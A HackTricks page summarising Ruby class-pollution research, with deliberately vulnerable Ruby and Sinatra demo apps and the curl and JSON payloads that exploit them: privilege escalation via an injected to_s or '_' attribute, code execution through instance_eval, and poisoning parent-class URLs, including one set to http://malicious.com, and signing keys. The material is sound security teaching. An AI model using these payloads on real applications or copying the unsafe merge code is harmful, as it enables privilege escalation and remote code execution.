Ruby Class Pollution - HackTricks

# Ruby Class Pollution

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

This is a summary from the post https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html

## Merge on Attributes

Example:

    # Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
    # Comments added to exploit the merge on attributes
    require 'json'

    # Base class for both Admin and Regular users
    class Person

      attr_accessor :name, :age, :details

      def initialize(name:, age:, details:)
        @name = name
        @age = age
        @details = details
      end

      # Method to merge additional data into the object
      def merge_with(additional)
        recursive_merge(self, additional)
      end

      # Authorize based on the `to_s` method result
      def authorize
        if to_s == "Admin"
          puts "Access granted: #{@name} is an admin."
        else
          puts "Access denied: #{@name} is not an admin."
        end
      end

      # Health check that executes all protected methods using `instance_eval`
      def health_check
        protected_methods().each do |method|
          instance_eval(method.to_s)
        end
      end

      private

      # VULNERABLE FUNCTION that can be abused to merge attributes
      def recursive_merge(original, additional, current_obj = original)
        additional.each do |key, value|

          if value.is_a?(Hash)
            if current_obj.respond_to?(key)
              next_obj = current_obj.public_send(key)
              recursive_merge(original, value, next_obj)
            else
              new_object = Object.new
              current_obj.instance_variable_set("@#{key}", new_object)
              current_obj.singleton_class.attr_accessor key
            end
          else
            current_obj.instance_variable_set("@#{key}", value)
            current_obj.singleton_class.attr_accessor key
          end
        end
        original
      end

      protected

      def check_cpu
        puts "CPU check passed."
      end

      def check_memory
        puts "Memory check passed."
      end
    end

    # Admin class inherits from Person
    class Admin < Person
      def initialize(name:, age:, details:)
        super(name: name, age: age, details: details)
      end

      def to_s
        "Admin"
      end
    end

    # Regular user class inherits from Person
    class User < Person
      def initialize(name:, age:, details:)
        super(name: name, age: age, details: details)
      end

      def to_s
        "User"
      end
    end

    class JSONMergerApp
      def self.run(json_input)
        additional_object = JSON.parse(json_input)

        # Instantiate a regular user
        user = User.new(
          name: "John Doe",
          age: 30,
          details: {
            "occupation" => "Engineer",
            "location" => {
              "city" => "Madrid",
              "country" => "Spain"
            }
          }
        )

        # Perform a recursive merge, which could override methods
        user.merge_with(additional_object)

        # Authorize the user (privilege escalation vulnerability)
        # ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
        user.authorize

        # Execute health check (RCE vulnerability)
        # ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
        user.health_check

      end
    end

    if ARGV.length != 1
      puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
      exit
    end

    json_input = ARGV[0]
    JSONMergerApp.run(json_input)

### Explanation

1. Privilege Escalation: The `authorize` method checks if `to_s` returns "Admin." By injecting a new `to_s` attribute through JSON, an attacker can make the `to_s` method return "Admin," granting unauthorized privileges.
2. Remote Code Execution: In `health_check`, `instance_eval` executes methods listed in `protected_methods`. If an attacker injects custom method names (like `"puts 1"`), `instance_eval` will execute it, leading to remote code execution (RCE).
   1. This is only possible because there is a vulnerable `eval` instruction executing the string value of that attribute.
3. Impact Limitation: This vulnerability only affects individual instances, leaving other instances of `User` and `Admin` unaffected, thus limiting the scope of exploitation.

### Real-World Cases

### ActiveSupport’s `deep_merge`

This isn't vulnerable by default but can be made vulnerable with something like:

    # Method to merge additional data into the object using ActiveSupport deep_merge
    def merge_with(other_object)
      merged_hash = to_h.deep_merge(other_object)

      merged_hash.each do |key, value|
        self.class.attr_accessor key
        instance_variable_set("@#{key}", value)
      end

      self
    end

### Hashie’s `deep_merge`

Hashie’s `deep_merge` method operates directly on object attributes rather than plain hashes. It prevents replacement of methods with attributes in a merge with some exceptions: attributes that end with `_`, `!`, or `?` can still be merged into the object.

Some special case is the attribute `_` on its own. Just `_` is an attribute that usually returns a `Mash` object. And because it's part of the exceptions, it's possible to modify it.

Check the following example how passing `{"_": "Admin"}` one is able to bypass `_.to_s == "Admin"`:

    require 'json'
    require 'hashie'

    # Base class for both Admin and Regular users
    class Person < Hashie::Mash

      # Method to merge additional data into the object using hashie
      def merge_with(other_object)
        deep_merge!(other_object)
        self
      end

      # Authorize based on to_s
      def authorize
        if _.to_s == "Admin"
          puts "Access granted: #{@name} is an admin."
        else
          puts "Access denied: #{@name} is not an admin."
        end
      end

    end

    # Admin class inherits from Person
    class Admin < Person
      def to_s
        "Admin"
      end
    end

    # Regular user class inherits from Person
    class User < Person
      def to_s
        "User"
      end
    end

    class JSONMergerApp
      def self.run(json_input)
        additional_object = JSON.parse(json_input)

        # Instantiate a regular user
        user = User.new({
          name: "John Doe",
          age: 30,
          details: {
            "occupation" => "Engineer",
            "location" => {
              "city" => "Madrid",
              "country" => "Spain"
            }
          }
        })

        # Perform a deep merge, which could override methods
        user.merge_with(additional_object)

        # Authorize the user (privilege escalation vulnerability)
        # Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
        # Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
        user.authorize
      end
    end

    if ARGV.length != 1
      puts "Usage: ruby hashie.rb 'JSON_STRING'"
      exit
    end

    json_input = ARGV[0]
    JSONMergerApp.run(json_input)

## Poison the Classes

In the following example it's possible to find the class `Person`, and the the clases `Admin` and `Regular` which inherits from the `Person` class. It also has another class called `KeySigner`:

    require 'json'
    require 'sinatra/base'
    require 'net/http'

    # Base class for both Admin and Regular users
    class Person
      @@url = "http://default-url.com"

      attr_accessor :name, :age, :details

      def initialize(name:, age:, details:)
        @name = name
        @age = age
        @details = details
      end

      def self.url
        @@url
      end

      # Method to merge additional data into the object
      def merge_with(additional)
        recursive_merge(self, additional)
      end

      private

      # Recursive merge to modify instance variables
      def recursive_merge(original, additional, current_obj = original)
        additional.each do |key, value|
          if value.is_a?(Hash)
            if current_obj.respond_to?(key)
              next_obj = current_obj.public_send(key)
              recursive_merge(original, value, next_obj)
            else
              new_object = Object.new
              current_obj.instance_variable_set("@#{key}", new_object)
              current_obj.singleton_class.attr_accessor key
            end
          else
            current_obj.instance_variable_set("@#{key}", value)
            current_obj.singleton_class.attr_accessor key
          end
        end
        original
      end
    end

    class User < Person
      def initialize(name:, age:, details:)
        super(name: name, age: age, details: details)
      end
    end

    # A class created to simulate signing with a key, to be infected with the third gadget
    class KeySigner
      @@signing_key = "default-signing-key"

      def self.signing_key
        @@signing_key
      end

      def sign(signing_key, data)
        "#{data}-signed-with-#{signing_key}"
      end
    end

    class JSONMergerApp < Sinatra::Base
      # POST /merge - Infects class variables using JSON input
      post '/merge' do
        content_type :json
        json_input = JSON.parse(request.body.read)

        user = User.new(
          name: "John Doe",
          age: 30,
          details: {
            "occupation" => "Engineer",
            "location" => {
              "city" => "Madrid",
              "country" => "Spain"
            }
          }
        )

        user.merge_with(json_input)

        { status: 'merged' }.to_json
      end

      # GET /launch-curl-command - Activates the first gadget
      get '/launch-curl-command' do
        content_type :json

        # This gadget makes an HTTP request to the URL stored in the User class
        if Person.respond_to?(:url)
          url = Person.url
          response = Net::HTTP.get_response(URI(url))
          { status: 'HTTP request made', url: url, response_body: response.body }.to_json
        else
          { status: 'Failed to access URL variable' }.to_json
        end
      end

      # Curl command to infect User class URL:
      # curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge

      # GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
      get '/sign_with_subclass_key' do
        content_type :json

        # This gadget signs data using the signing key stored in KeySigner class
        signer = KeySigner.new
        signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

        { status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
      end

      # Curl command to infect KeySigner signing key (run in a loop until successful):
      # for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done

      # GET /check-infected-vars - Check if all variables have been infected
      get '/check-infected-vars' do
        content_type :json

        {
          user_url: Person.url,
          signing_key: KeySigner.signing_key
        }.to_json
      end

      run! if app_file == $0
    end

### Poison Parent Class

With this payload:

    curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge

It's possible to modify the value of the `@@url` attribute of the parent class `Person`.

### Poisoning Other Classes

With this payload:

    for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done

It's possible to brute-force the defined classes and at some point poison the class `KeySigner` modifying the value of `signing_key` by `injected-signing-key`.\

## References

- https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.